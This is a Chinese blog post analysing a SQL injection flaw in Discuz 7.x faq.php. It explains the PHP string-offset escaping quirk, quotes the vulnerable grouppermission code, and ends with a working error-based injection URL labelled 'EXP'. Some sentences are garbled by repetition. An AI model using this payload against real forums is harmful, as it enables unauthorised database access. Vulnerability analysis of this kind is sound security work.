Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患

刚回家就看到到处都在讨论这个漏洞, 闲的蛋疼就去看了下怎么形成的. 结果不看不知道, 一看就吓我一跳没有想到在php里面, 如果取值不严谨的话还会有这样一种BUG的情况发生, 其实说来这也不算什么BUG, 只是一个机制问题在分析前先给大家看一个例子, 在GPC开启的状态下假如有这样一段代码:

<?php$sql = $_GET\['sql'\];echo $sql;exit;?> 

我们执行下会发现输出如下内容:

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/34b47082c5894fb8850e3b0071b631df~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F1407021903d77bd3657848e9ec.jpg “https://www.t00ls.net/attachments/month_1407/1407021903d77bd3657848e9ec.jpg”” style=“margin: auto” />

没有任何问题, 传递过去的单引号被用反斜杠转义了. 但是, 如果是这样写的呢?

<?php$sql = $_GET\['sql'\];echo $sql\[0\];exit;?> 

我们在来输出下看看~

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/4b525676030e4082bc4b0684aa5ac88b~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F1407021903018c9dbea410032b.jpg “https://www.t00ls.net/attachments/month_1407/1407021903018c9dbea410032b.jpg”” style=“margin: auto” />

可以看到这个时候我们传递过来的单引号没有了, 反而剩下了一个反斜杠, 到这里算是一取值的小BUG吧简单的理解的话, 如果你的值为String而非Array的情况下, 在php里若用php的数组取值方式XX\[0\], 那么转移过的 \\’ 将变成 \ 也就是说这个时候php会将你的string来进行一个拆解处理 假设sql=123456 那么sql\[0\]就会取出字符串1 sql[1]就会取出字符串2而sql=′的话那么自然sql =\\’ 的话那么自然sql=′的话那么自然sql[0] 就只获取了 \ 反斜杠一个字符串

那么再来看Discuz7.2的漏洞代码: (faq.php文件grouppermission)

} elseif($action == 'grouppermission') {

        require_once './include/forum.func.php';
        require_once language('misc');
        $permlang = $language;
        unset($language);

        $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;
        $groups = $grouplist = array();
        $query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
        $cgdata = $nextgid = '';
        while($group = $db->fetch_array($query)) {
                $group\['type'\] = $group\['type'\] == 'special' && $group\['radminid'\] ? 'specialadmin' : $group\['type'\];
                $groups\[$group\['type'\]\]\[\] = array($group\['groupid'\], $group\['grouptitle'\]);
                $grouplist\[$group\['type'\]\] .= '<option value="'.$group\['groupid'\].'"'.($searchgroupid == $group\['groupid'\] ? ' selected="selected"' : '').'>'.$group\['grouptitle'\].($groupid == $group\['groupid'\] ? ' &larr;' : '').'</option>';
                if($group\['groupid'\] == $searchgroupid) {
                        $cgdata = array($group\['type'\], count($groups\[$group\['type'\]\]) - 1, $group\['groupid'\]);
                }
        }
        if($cgdata\[0\] == 'member') {
                $nextgid = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 1\]\[0\];
                if($cgdata\[1\] > 0) {
                        $gids\[1\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] - 1\];
                }
                $gids\[2\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\]\];
                if($cgdata\[1\] < count($groups\[$cgdata\[0\]\]) - 1) {
                        $gids\[3\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 1\];
                        if(count($gids) == 2) {
                                $gids\[4\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 2\];
                        }
                } elseif(count($gids) == 2) {
                        $gids\[0\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] - 2\];
                }
        } else {
                $gids\[1\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\]\];
        }
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids\[\] = $row\[0\]; //问题就出在这里        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); //直接带入        $groups = array();
        while($group = $db->fetch_array($query)) {
                $group\['maxattachsize'\] = $group\['maxattachsize'\] / 1024;
                $group\['maxsizeperday'\] = $group\['maxsizeperday'\] / 1024;
                $group\['maxbiosize'\] = $group\['maxbiosize'\] ? $group\['maxbiosize'\] : 200;
                if($searchgroupid == $group\['groupid'\]) {
                        $currenti = $group\['groupid'\];
                }
                $groups\[$group\['groupid'\]\] = $group;
        } 

groupids是从groupids是从groupids是从gids赋值过去的, 而这里Discuz并没有初始化gids,而是直接以数组的方式来给gids, 而是直接以数组的方式来给gids,而是直接以数组的方式来给gids赋值所以gids的的值我们可以通过数组的方式传递进入程序,所以这里gids的的值我们可以通过数组的方式传递进入程序, 所以这里gids的的值我们可以通过数组的方式传递进入程序,所以这里gids是可控的我们随便传一点东西过去 来print_r一下$gids的值:

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7caf26a4553340229b0c63197d2b7f5c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F140702190314370e41cf68192e.jpg “https://www.t00ls.net/attachments/month_1407/140702190314370e41cf68192e.jpg”” style=“margin: auto” />

然后下面有一段foreach

foreach($gids as $row) {
        $groupids\[\] = $row\[0\]; //问题就出在这里} 

这里Discuz只考虑到了自己程序的取值, 因为gids原始形成的就是一个多维数组, 但是既然我们可控的话, 漏洞在这里就产生了 看我们最开始说的, 这种取值方法如果目标非Array的话, 那么单引号就没有了~ 我们来测试下 传递 1.php?gids\[t00ls\]=%27 然后我们直接print_r处理后的groupids~

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/84696caabcd445b1a272e68d28a79da8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F1407021903c7ae6f12cd6c2ef3.jpg “https://www.t00ls.net/attachments/month_1407/1407021903c7ae6f12cd6c2ef3.jpg”” style=“margin: auto” />

可以看到单引号已经不见了, 只剩下了一个反斜杠, 那么再结合Discuz的implodeids函数一处理~ 漏洞就产生了~我们直接让程序执行下去看看是什么结果

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/372dab88457549d0ab09cdc3086510da~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F1407021903ff89f1bcbd1cc09b.jpg “https://www.t00ls.net/attachments/month_1407/1407021903ff89f1bcbd1cc09b.jpg”” style=“margin: auto” />

最后EXP:

faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,0x5430304C5320474F21,0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2fb9a9f802484d2dad18a866c8bdd21e~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.t00ls.net%2Fattachments%2Fmonth_1407%2F1407021903b5095a2f45516067.jpg “https://www.t00ls.net/attachments/month_1407/1407021903b5095a2f45516067.jpg”” style=“margin: auto” />

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值